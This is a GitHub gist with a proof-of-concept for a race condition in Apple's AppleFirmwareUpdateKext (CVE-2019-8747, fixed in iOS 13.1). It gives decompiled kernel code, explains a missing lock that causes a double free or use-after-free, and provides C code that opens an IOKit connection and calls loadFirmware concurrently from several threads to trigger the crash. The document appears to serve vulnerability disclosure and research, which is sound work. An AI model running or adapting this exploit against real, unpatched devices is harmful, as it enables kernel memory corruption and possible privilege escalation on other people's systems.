-
-
Save ox1111/6bfbda8d09f5e585d1271d5b562920f2 to your computer and use it in GitHub Desktop.
AppleFirmwareUpdateKext::loadFirmware() : Missing lock leads to double object release
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#if 0 | |
// Fixed in iOS 13.1 with CVE-2019-8747 | |
__thiscall | |
AppleFirmwareUpdateKext::loadFirmware | |
(AppleFirmwareUpdateKext *this,IOMemoryDescriptor *Memory,void *off_0x10,uint off_0x18) | |
{ | |
uint uVar1; | |
byte addr; | |
byte len; | |
bool bVar2; | |
int iVar3; | |
AppleFirmwareUpdateKext *pAVar4; | |
IOMemoryMap *_firmwareMap; | |
OSData *Data; | |
char *pcVar5; | |
uint uVar6; | |
if (Memory == (IOMemoryDescriptor *)0x0) { | |
pcVar5 = (*this->getName)(); | |
_IOLog("%s[%p]::%s() Invalid _firmwareDescriptor\n"); | |
iVar3 = -0x1ffffd3e; | |
} | |
else { | |
(*Memory->prepare)(Memory,0); | |
_firmwareMap = Memory->map(this,0x1000); | |
this->_firmwareMap = _firmwareMap; <—— (a) | |
… | |
else { | |
addr = _firmwareMap->getVirtualAddress)(); | |
len = (*this->_firmwareMap->getLength)(); | |
_firmwareBuffer = withBytes((void *)(ulonglong)addr,(uint)len); | |
this->_firmwareBuffer = _firmwareBuffer; <— (a.a) | |
… | |
…. | |
if (this->_firmwareMap != (IOMemoryMap *)0x0) { | |
(*this->_firmwareMap->release)(); <— (b.a) | |
this->_firmwareMap = (IOMemoryMap *)0x0; | |
} | |
if (this->Data != (OSData *)0x0) { | |
(*this->Data->release)(); <— (b.b) | |
this->Data = (OSData *)0x0; | |
} | |
if ((longlong *)this->field_0xd8 != (longlong *)0x0) { | |
(**(code **)(*(longlong *)this->field_0xd8 + 0x28))(); | |
this->field_0xd8 = 0; | |
} | |
return (ulonglong)uVar1; | |
} | |
this->_firmwareMap and this->_firmwareBuffer must be atomically set, as shown above, | |
in (a) and (a.a), there is no locks protecting them from concurrent usage. | |
When ::loadFirmware is done, it releases both _firmwareMap and _firmwareBuffer, | |
It’s possible to call ::loadFirmware() with valid buffer, then create threads with invalid buffers to call ::release() at least twice in (b.a) and (b.b). This could lead to Double Free/ UaF bug. | |
#endif | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <mach/mach.h> | |
#include <mach/mach_error.h> | |
#include <stdlib.h> | |
#include <CoreFoundation/CoreFoundation.h> | |
#include <pthread.h> | |
#define NAME "AppleFirmwareUpdateKext" | |
#define self mach_task_self() | |
#define CHECK_MACH_ERR(kr,name) do { \ | |
if (kr != KERN_SUCCESS) { \ | |
printf("%s : %s (0x%x)\n", \ | |
name,mach_error_string(kr),kr); \ | |
exit(1);} \ | |
}while(0); | |
// IOKIT | |
typedef mach_port_t io_connect_t; | |
typedef mach_port_t io_service_t; | |
typedef mach_port_t io_iterator_t; | |
typedef mach_port_t io_object_t; | |
typedef mach_port_t io_registry_entry_t; | |
typedef char io_name_t[128]; | |
#define IO_OBJECT_NULL 0 | |
extern const mach_port_t kIOMasterPortDefault; | |
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); | |
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching); | |
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect); | |
boolean_t IOIteratorIsValid(io_iterator_t iterator); | |
io_object_t IOIteratorNext(io_iterator_t iterator); | |
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); | |
kern_return_t IOServiceGetMatchingServices(mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t *existing); | |
kern_return_t IOServiceClose(io_connect_t connect); | |
uint32_t IOObjectGetRetainCount(io_object_t object); | |
uint32_t IOObjectGetKernelRetainCount(io_object_t object); | |
uint32_t IOObjectGetRetainCount(io_object_t object); | |
kern_return_t io_object_get_retain_count(mach_port_t object,uint32_t *retainCount); | |
kern_return_t IOObjectRelease(io_object_t object); | |
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); | |
CFMutableDictionaryRef IOServiceMatching(const char *name); | |
kern_return_t iokit_get_connection(const char *service_name,io_connect_t *conn); | |
io_connect_t c = 0; | |
struct args { | |
void* address; | |
uint64_t size; | |
uint64_t off_0x10; | |
uint64_t off_0x18; | |
}; | |
struct args *prepare(size_t sz,uint a,uint b) | |
{ | |
struct args *arg = malloc(sizeof(struct args)); | |
assert(arg); | |
arg->size = sz; | |
arg->address = malloc(sz); | |
assert(arg->address); | |
arg->off_0x10 = a; | |
arg->off_0x18 = b; | |
return arg; | |
} | |
void *loadFirmware(void* arg) | |
{ | |
kern_return_t kr = KERN_SUCCESS; | |
struct args *a = prepare(0x10000000,0,0); | |
int val = 0; | |
printf("val %x \n",val); | |
int selector = 0; | |
memset(a->address,0x41,a->size); | |
kr = IOConnectCallMethod(c, | |
selector, //selector, | |
a, // scalarInput | |
4, // scalarInputCnt | |
NULL, // In struct | |
0, // In struct count | |
NULL, // Out Scalar | |
NULL, // Out Scalar | |
NULL, // Out Struct | |
NULL); // In/Out Struct Cnt | |
printf("[*] selector=%d, kr =%x %s \n", | |
selector,kr,mach_error_string(kr)); | |
return NULL; | |
} | |
kern_return_t iokit_get_connection(const char *service_name,io_connect_t *conn) | |
{ | |
kern_return_t kr = KERN_SUCCESS; | |
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, | |
IOServiceMatching(service_name)); | |
if (service == IO_OBJECT_NULL) { | |
printf("unable to find service \n"); | |
exit(0); | |
} | |
kr = IOServiceOpen(service, self, 0, conn); | |
CHECK_MACH_ERR(kr,"IOServiceOpen"); | |
printf("Got connection %x of %s\n",*conn,service_name); | |
return kr; | |
} | |
int main(int argc,char **argv) | |
{ | |
kern_return_t kr = KERN_SUCCESS; | |
// AppleFirmwareUpdateUserClient | |
kr = iokit_get_connection(NAME, &c); | |
printf("Client created %x \n",c); | |
loadFirmware(NULL); | |
pthread_t th; | |
pthread_create(&th,NULL,loadFirmware,NULL); | |
pthread_t th2; | |
pthread_create(&th2,NULL,loadFirmware,NULL); | |
pthread_join(th,NULL); | |
pthread_join(th2,NULL); | |
printf("See crash ? \n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment